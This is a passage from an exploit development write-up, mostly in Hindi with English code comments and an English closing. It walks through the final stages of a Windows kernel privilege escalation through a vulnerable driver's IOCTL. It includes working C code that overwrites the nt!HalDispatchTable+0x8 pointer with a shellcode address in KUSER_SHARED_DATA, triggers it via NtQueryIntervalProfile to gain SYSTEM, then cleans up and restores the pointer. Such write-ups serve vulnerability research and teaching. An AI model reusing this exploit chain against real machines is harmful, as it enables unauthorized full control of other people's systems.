हालांकि किसी भेद्यता को बार-बार ट्रिगर करना मशीन को क्रैश करने का जोखिम होता है, यह एक अपवाद है, क्योंकि डिवाइस ड्राइवर और उसकी (दुरुपयोग की गई) रूटीन की समग्र स्थिरता है। अपने अगले चरण के लिए, हम nt!HalDispatchTable+0x8 पर संग्रहीत मूल फंक्शन पॉइंटर को पुनर्प्राप्त करना चाहते हैं। यह पुनर्प्राप्त फंक्शन पॉइंटर का उपयोग पुनर्प्राप्ति चरण में किया जाएगा, और यह गलत फंक्शन पॉइंटर तक पहुँचने के कारण हमारी मशीन को बेतरतीब ढंग से क्रैश होने से रोकेगा। जबकि विंडोज 7 पर यह कदम बहुत महत्वपूर्ण नहीं है, क्योंकि हमारा पेलोड निष्पादन फंक्शन बार-बार कॉल नहीं किया जाता है, इसका उपयोग विंडोज 10 के बाद के बिल्ड में बढ़ गया है। हमेशा की तरह, हम एक बार फिर अपने रीड प्रिमिटिव का दुरुपयोग करके प्राप्त पॉइंटर को अपने स्टैक पर एक स्थानीय वेरिएबल में संग्रहीत करेंगे! हम अपने लीक हुए NT कर्नल बेस एड्रेस का भी एक बार फिर उपयोग करेंगे, इस बार इसे nt!HalDispatchTable के ऑफसेट के साथ 0x8 के अतिरिक्त ऑफसेट के साथ जोड़ेंगे।```C
memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Destination = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);
बस कुछ और कदम बाकी हैं! जब हमने डिस्पैच तालिका में मूल पॉइंटर को सफलतापूर्वक संग्रहीत कर लिया है, तो अब उसी पॉइंटर को अपने `KUSER_SHARED_DATA+0x50` पते से ओवरराइट करने का समय है, जो `0xFFFFF78000000050` में अनुवादित होगा। इस बिंदु पर, सब कुछ तैयार है, और हम सिस्टम को रूट करने के लिए तैयार हैं! बस पॉइंटर ओवरराइट के स्रोत को उस चीज़ में बदलें जो पहले `destination` था, और अपने स्थानीय वेरिएबल का एक पॉइंटर पास करें जिसमें `source` फील्ड के लिए हमारा पता है।```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);
NtQueryIntervalProfile फ़ंक्शन HAL डिस्पैच टेबल से पॉइंटर्स का उपयोग करने के लिए जाना जाता है, विशेष रूप से 0x8 ऑफसेट का, और इस कारण से इसका आमतौर पर दुरुपयोग किया जाता है। कर्नेल मेमोरी में मनमाने ढंग से लिखने की क्षमता के साथ, यह अब तक की सबसे आसान एक्सप्लॉइटेशन तकनीकों में से एक है! हमारे एक्सप्लॉइट में इस बिंदु पर, हमारे पास nt authority\system विशेषाधिकार हैं, लेकिन हम अपना सुंदर शेल स्पॉन करने से पहले केवल एक अंतिम कदम उठाना चाहते हैं: सफाई और पुनर्प्राप्ति।
यह एक चरण में बंडल किया जाएगा, क्योंकि दोनों सरल हैं। हम एक अंतिम बार दोनों मनमाने लिखने वाले प्रिमिटिव का उपयोग करेंगे। शुरू करने के लिए, हम कर्नेल स्पेस से अपने सभी शेलकोड को हटा देंगे। यह एक आसान काम है, क्योंकि हम अपने पेलोड की लंबाई के माध्यम से पुनरावृत्ति करने के लिए उसी for लूप का उपयोग कर सकते हैं। इस बार, हम मेमोरी को शून्य से ओवरराइट करेंगे, ठीक वैसे ही जैसे यह हमारे एक्सप्लॉइट निष्पादन से पहले था।```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = 0;
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Removed the kernel payload from kernel memory.");
मुझे नहीं लगता कि `for` लूप पुनरावृत्तियों को और समझाने की आवश्यकता है। रिकवरी प्रक्रिया (और सामान्य रूप से शोषण प्रक्रिया) का अंतिम चरण `nt!HalDispatchTable+0x8` पर मूल फंक्शन पॉइंटर को पुनर्स्थापित करना है। हमारे `memmove` संरचना डेटा का उपयोग करते हुए, जो मूल रूप से `nt!HalDispatchTable` में अनेक पॉइंटर्स में से एक को अधिलेखित करने के लिए उपयोग किया गया था, हमें केवल `source` फ़ील्ड को संशोधित करके मूल पते पर एक पॉइंटर पास करना है। पहले की तरह, मुझे नहीं लगता कि इस भाग को और समझाने की आवश्यकता है ($1 अगर आप गिन सकें कि मैंने कितनी बार खुद को दोहराया है!)```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");
And now, you get to have your fun. Spawn that system shell!

Overall, this was a very fun bug to exploit. The exploitation process was not as complicated as I was thinking it would have been. It also allowed me to get more comfortable with PTE manipulations, and allowed me to create my first ever local privilege escalation exploit that is not abusing HackSys Extreme Vulnerable Driver! I hope to see you guys around soon.